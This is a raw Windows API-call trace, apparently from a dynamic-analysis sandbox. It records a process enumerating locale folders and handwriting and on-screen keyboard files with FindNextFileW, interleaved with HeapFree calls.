	[0179.321] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0179.321] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
	[0179.321] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0179.321] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
	[0179.321] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0179.322] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
	[0179.322] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0179.322] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
	[0179.322] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="en-US", cAlternateFileName="")) returned 1
	[0179.614] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
	[0179.615] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0179.616] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
	[0179.616] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="es-MX", cAlternateFileName="")) returned 1
	[0179.616] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
	[0179.616] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0179.616] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
	[0179.616] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0179.616] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
	[0179.616] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1
	[0179.617] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
	[0179.617] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0179.617] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
	[0179.617] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1
	[0179.618] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.618] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38df08c | out: lpFindFileData=0x38df08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x1eb, dwReserved1=0xffffee0b, cFileName="auxpad.xml", cAlternateFileName="")) returned 1
	[0179.618] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.618] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38df08c | out: lpFindFileData=0x38df08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x1eb, dwReserved1=0xffffee0b, cFileName="insert.xml", cAlternateFileName="")) returned 1
	[0179.618] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.618] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38df08c | out: lpFindFileData=0x38df08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x1eb, dwReserved1=0xffffee0b, cFileName="keypad.xml", cAlternateFileName="")) returned 1
	[0179.621] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.621] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38df08c | out: lpFindFileData=0x38df08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadda, dwReserved0=0x1eb, dwReserved1=0xffffee0b, cFileName="main.xml", cAlternateFileName="")) returned 1
	[0179.621] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.621] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38df08c | out: lpFindFileData=0x38df08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x1eb, dwReserved1=0xffffee0b, cFileName="oskclearui.xml", cAlternateFileName="")) returned 1
	[0179.624] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.624] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38df08c | out: lpFindFileData=0x38df08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x1eb, dwReserved1=0xffffee0b, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1
	[0179.625] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.625] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38df08c | out: lpFindFileData=0x38df08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x1eb, dwReserved1=0xffffee0b, cFileName="osknav.xml", cAlternateFileName="")) returned 1
	[0179.625] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.625] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38df08c | out: lpFindFileData=0x38df08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x1eb, dwReserved1=0xffffee0b, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1
	[0179.625] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.625] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38df08c | out: lpFindFileData=0x38df08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x1eb, dwReserved1=0xffffee0b, cFileName="oskpred.xml", cAlternateFileName="")) returned 1
	[0179.626] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.626] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38df08c | out: lpFindFileData=0x38df08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x1eb, dwReserved1=0xffffee0b, cFileName="symbols.xml", cAlternateFileName="")) returned 1
	[0179.626] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
	[0179.626] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="he-IL", cAlternateFileName="")) returned 1
	[0179.626] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
	[0179.626] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0179.627] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
	[0179.627] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0179.627] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
	[0179.627] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1
	[0179.627] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
	[0179.627] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1
	[0179.630] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
	[0179.630] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0179.632] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
	[0179.632] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0179.632] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
	[0179.632] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="LanguageModel", cAlternateFileName="LANGUA~1")) returned 1
	[0179.632] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
	[0179.632] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0179.633] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
	[0179.633] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0179.633] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
	[0179.633] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="micaut.dll", cAlternateFileName="")) returned 1
	[0179.633] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
	[0179.633] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0179.634] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
	[0179.634] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0179.634] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
	[0179.634] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0179.634] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
	[0179.634] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0179.634] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
	[0179.634] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0179.635] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
